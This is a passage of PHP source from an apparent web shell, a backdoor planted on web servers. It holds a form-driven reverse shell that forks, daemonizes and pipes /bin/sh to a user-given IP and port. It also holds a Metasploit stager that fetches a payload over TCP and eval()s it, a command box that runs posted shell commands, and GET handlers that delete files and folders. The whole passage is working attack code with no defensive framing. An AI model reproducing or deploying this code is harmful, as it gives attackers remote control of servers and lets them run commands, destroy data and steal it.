    $s_result  = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?sad=<?php echo $pwd;?>&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
    echo $s_result;
    if ($_POST['metaConnect']) {
        $ipaddr = $_POST['yip'];
        $port   = $_POST['yport'];
        if ($ip == "" && $port == "") {
            echo "fill in the blanks";
        } else {
            if (FALSE !== strpos($ipaddr, ":")) {
                $ipaddr = "[" . $ipaddr . "]";
            }
            if (is_callable('stream_socket_client')) {
                $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
                if (!$msgsock) {
                    die();
                }
                $msgsock_type = 'stream';
            } elseif (is_callable('fsockopen')) {
                $msgsock = fsockopen($ipaddr, $port);
                if (!$msgsock) {
                    die();
                }
                $msgsock_type = 'stream';
            } elseif (is_callable('socket_create')) {
                $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                $res     = socket_connect($msgsock, $ipaddr, $port);
                if (!$res) {
                    die();
                }
                $msgsock_type = 'socket';
            } else {
                die();
            }
            switch ($msgsock_type) {
                case 'stream':
                    $len = fread($msgsock, 4);
                    break;
                case 'socket':
                    $len = socket_read($msgsock, 4);
                    break;
            }
            if (!$len) {
                die();
            }
            $a      = unpack("Nlen", $len);
            $len    = $a['len'];
            $buffer = '';
            while (strlen($buffer) < $len) {
                switch ($msgsock_type) {
                    case 'stream':
                        $buffer .= fread($msgsock, $len - strlen($buffer));
                        break;
                    case 'socket':
                        $buffer .= socket_read($msgsock, $len - strlen($buffer));
                        break;
                }
            }
            eval($buffer);
            echo "[*] Connection Terminated";
            die();
        }
    }
    if (isset($_REQUEST['sqlportb4']))
        $rsportb4 = ss($_REQUEST['sqlportb4']);
    if (isset($_REQUEST['rstarget4']))
        $rstarget4 = ss($_REQUEST['rstarget4']);
    if ($_POST['xback_php']) {
        $ip         = $rstarget4;
        $port       = $rsportb4;
        $chunk_size = 1337;
        $write_a    = null;
        $error_a    = null;
        $shell      = '/bin/sh';
        $daemon     = 0;
        $debug      = 0;
        if (function_exists('pcntl_fork')) {
            $pid = pcntl_fork();
            if ($pid == -1)
                exit(1);
            if ($pid)
                exit(0);
            if (posix_setsid() == -1)
                exit(1);
            $daemon = 1;
        }
        umask(0);
        $sock = fsockopen($ip, $port, $errno, $errstr, 30);
        if (!$sock)
            exit(1);
        $descriptorspec = array(
            0 => array(
                "pipe",
                "r"
            ),
            1 => array(
                "pipe",
                "w"
            ),
            2 => array(
                "pipe",
                "w"
            )
        );
        $process        = proc_open($shell, $descriptorspec, $pipes);
        if (!is_resource($process))
            exit(1);
        stream_set_blocking($pipes[0], 0);
        stream_set_blocking($pipes[1], 0);
        stream_set_blocking($pipes[2], 0);
        stream_set_blocking($sock, 0);
        while (1) {
            if (feof($sock))
                break;
            if (feof($pipes[1]))
                break;
            $read_a              = array(
                $sock,
                $pipes[1],
                $pipes[2]
            );
            $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
            if (in_array($sock, $read_a)) {
                $input = fread($sock, $chunk_size);
                fwrite($pipes[0], $input);
            }
            if (in_array($pipes[1], $read_a)) {
                $input = fread($pipes[1], $chunk_size);
                fwrite($sock, $input);
            }
            if (in_array($pipes[2], $read_a)) {
                $input = fread($pipes[2], $chunk_size);
                fwrite($sock, $input);
            }
        }
        fclose($sock);
        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        $rsres = " ";
        $s_result .= $rsres;
    }
} elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
?>
<form action="?sad=<?php
    echo $pwd;
?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
<?php
    echo '$ '.$_POST['cmd']."n";
    if (isset($_POST['submitcmd'])) {
        echo @exe($_POST['cmd']);
    }
?>
</textarea> <tr><td colspan="2"><?php
    echo $prompt;
?><input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="cmd" style="width:60%" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%" /></td></tr> </table></form>
<?php
} else {
    if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
        $file = $_GET['delete'];
        @unlink($file);
    } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
        $dir = $_GET['fdelete'];
        if (is_dir($dir)) {
            if (!rmdir($dir)) {
                $s = scandir($dir);
                foreach ($s as $ss) {
                    if (is_file($dir . "/" . $ss)) {
                        if (unlink($dir . "/" . $ss)) {
                            $rm = rmdir($dir);
                        }
                    }
                }
            }
        }
    } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
        $path = $pwd . $_GET['mkdir'];
        @mkdir($path);
    }
    $buff = showdir($pwd, $prompt);
    echo $buff;
}
ob_flush();
?></div></body></html>